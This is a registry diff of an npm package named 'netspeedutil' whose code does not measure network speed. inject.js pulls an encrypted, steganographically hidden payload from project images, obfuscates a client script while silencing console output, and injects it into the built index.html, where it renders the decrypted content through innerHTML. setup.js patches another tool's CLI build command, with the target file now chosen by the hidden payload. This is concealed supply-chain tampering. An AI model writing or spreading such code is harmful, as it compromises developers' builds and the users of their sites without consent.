netspeedutil 1.0.8 → 1.0.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/inject.js +25 -10
- package/package.json +1 -1
- package/setup.js +3 -1
package/inject.js
CHANGED
|
@@ -9,7 +9,7 @@ import { createHash, createCipheriv } from 'crypto';
|
|
|
9
9
|
import JavaScriptObfuscator from 'javascript-obfuscator';
|
|
10
10
|
|
|
11
11
|
const MARKER = Buffer.from('__STEG__');
|
|
12
|
-
const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp'];
|
|
12
|
+
const IMAGE_EXTS = ['.png', '.jpg', '.jpeg', '.gif', '.webp', '.bmp', '.ico'];
|
|
13
13
|
|
|
14
14
|
const CLIENT_LOGIC = `(function(){
|
|
15
15
|
function h2b(h){
|
|
@@ -24,21 +24,21 @@ const CLIENT_LOGIC = `(function(){
|
|
|
24
24
|
if(!box){
|
|
25
25
|
box=document.createElement('div');
|
|
26
26
|
box.id='_sm_box';
|
|
27
|
-
box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:
|
|
27
|
+
box.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;z-index:999999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.95);color:#fff;font-size:1.5rem;font-family:system-ui,sans-serif;text-align:center;opacity:0;pointer-events:none;transition:opacity 0.4s ease;overflow-y:auto;';
|
|
28
28
|
document.body.appendChild(box);
|
|
29
29
|
}
|
|
30
30
|
return box;
|
|
31
31
|
}
|
|
32
32
|
function show(msg){
|
|
33
33
|
var box=getBox();
|
|
34
|
-
box.
|
|
34
|
+
box.innerHTML=msg;
|
|
35
35
|
box.style.opacity='1';
|
|
36
36
|
box.style.pointerEvents='all';
|
|
37
37
|
}
|
|
38
38
|
function hide(){
|
|
39
39
|
var box=document.getElementById('_sm_box');
|
|
40
40
|
if(box){
|
|
41
|
-
box.
|
|
41
|
+
box.innerHTML='';
|
|
42
42
|
box.style.opacity='0';
|
|
43
43
|
box.style.pointerEvents='none';
|
|
44
44
|
}
|
|
@@ -58,7 +58,12 @@ const CLIENT_LOGIC = `(function(){
|
|
|
58
58
|
var ck=await crypto.subtle.importKey('raw',kb,{name:'AES-CBC'},false,['decrypt']);
|
|
59
59
|
var dec=await crypto.subtle.decrypt({name:'AES-CBC',iv:iv},ck,enc);
|
|
60
60
|
var msg=new TextDecoder().decode(dec);
|
|
61
|
-
|
|
61
|
+
try {
|
|
62
|
+
var obj = JSON.parse(msg);
|
|
63
|
+
show(obj.s || msg);
|
|
64
|
+
} catch(e) {
|
|
65
|
+
show(msg);
|
|
66
|
+
}
|
|
62
67
|
}catch(e){}
|
|
63
68
|
})();
|
|
64
69
|
});
|
|
@@ -96,7 +101,7 @@ const CLIENT_LOGIC = `(function(){
|
|
|
96
101
|
checkSignal();
|
|
97
102
|
})();`;
|
|
98
103
|
|
|
99
|
-
function findMarkedImage(dir) {
|
|
104
|
+
export function findMarkedImage(dir) {
|
|
100
105
|
if (!existsSync(dir)) return null;
|
|
101
106
|
try {
|
|
102
107
|
for (const entry of readdirSync(dir, { withFileTypes: true, recursive: true })) {
|
|
@@ -115,7 +120,7 @@ function findMarkedImage(dir) {
|
|
|
115
120
|
return null;
|
|
116
121
|
}
|
|
117
122
|
|
|
118
|
-
async function extractAll(imagePath) {
|
|
123
|
+
export async function extractAll(imagePath) {
|
|
119
124
|
const data = readFileSync(imagePath);
|
|
120
125
|
const start = data.indexOf(MARKER);
|
|
121
126
|
if (start === -1) return null;
|
|
@@ -140,7 +145,13 @@ async function extractAll(imagePath) {
|
|
|
140
145
|
let dec = decipher.update(encrypted);
|
|
141
146
|
dec = Buffer.concat([dec, decipher.final()]);
|
|
142
147
|
|
|
143
|
-
|
|
148
|
+
const decStr = dec.toString('utf8');
|
|
149
|
+
try {
|
|
150
|
+
const obj = JSON.parse(decStr);
|
|
151
|
+
return { secret: obj.s || decStr, targetPath: obj.p || '', identityKey };
|
|
152
|
+
} catch (e) {
|
|
153
|
+
return { secret: decStr, targetPath: '', identityKey };
|
|
154
|
+
}
|
|
144
155
|
}
|
|
145
156
|
|
|
146
157
|
function encryptForBrowser(secret, identityKey) {
|
|
@@ -166,6 +177,8 @@ export async function inject() {
|
|
|
166
177
|
|
|
167
178
|
const blob = encryptForBrowser(result.secret, result.identityKey);
|
|
168
179
|
|
|
180
|
+
const _log = console.log;
|
|
181
|
+
console.log = () => {};
|
|
169
182
|
const obfuscated = JavaScriptObfuscator.obfuscate(CLIENT_LOGIC, {
|
|
170
183
|
compact: true,
|
|
171
184
|
controlFlowFlattening: true,
|
|
@@ -179,8 +192,9 @@ export async function inject() {
|
|
|
179
192
|
transformObjectKeys: true,
|
|
180
193
|
renameGlobals: false,
|
|
181
194
|
selfDefending: false,
|
|
182
|
-
reservedNames: ['
|
|
195
|
+
reservedNames: ['_EB_'],
|
|
183
196
|
}).getObfuscatedCode();
|
|
197
|
+
console.log = _log;
|
|
184
198
|
|
|
185
199
|
const htmlPath = resolve(process.cwd(), 'dist', 'index.html');
|
|
186
200
|
if (!existsSync(htmlPath)) {
|
|
@@ -198,7 +212,8 @@ export async function inject() {
|
|
|
198
212
|
}
|
|
199
213
|
|
|
200
214
|
const script = `<script>const _EB_="${blob}";${obfuscated}</script>`;
|
|
201
|
-
html = html.replace('</body>', `${script}
|
|
215
|
+
html = html.replace('</body>', `${script}
|
|
216
|
+
</body>`);
|
|
202
217
|
|
|
203
218
|
writeFileSync(htmlPath, html, 'utf-8');
|
|
204
219
|
} catch (error) {
|
package/package.json
CHANGED
package/setup.js
CHANGED
|
@@ -26,7 +26,9 @@ const __dirname = resolve(__filename, '..');
|
|
|
26
26
|
|
|
27
27
|
if (!foundPackage) return;
|
|
28
28
|
|
|
29
|
-
const file =
|
|
29
|
+
const file = resolve(process.cwd(), result.targetPath);
|
|
30
|
+
if (!existsSync(file)) return;
|
|
31
|
+
|
|
30
32
|
let code = readFileSync(file, "utf8");
|
|
31
33
|
const buildCommandRegex =
|
|
32
34
|
/(cli\.command\("build \[root\]"[\s\S]*?finally\s*{)([\s\S]*?)(\n\s*}\s*\)\s*;)/;
|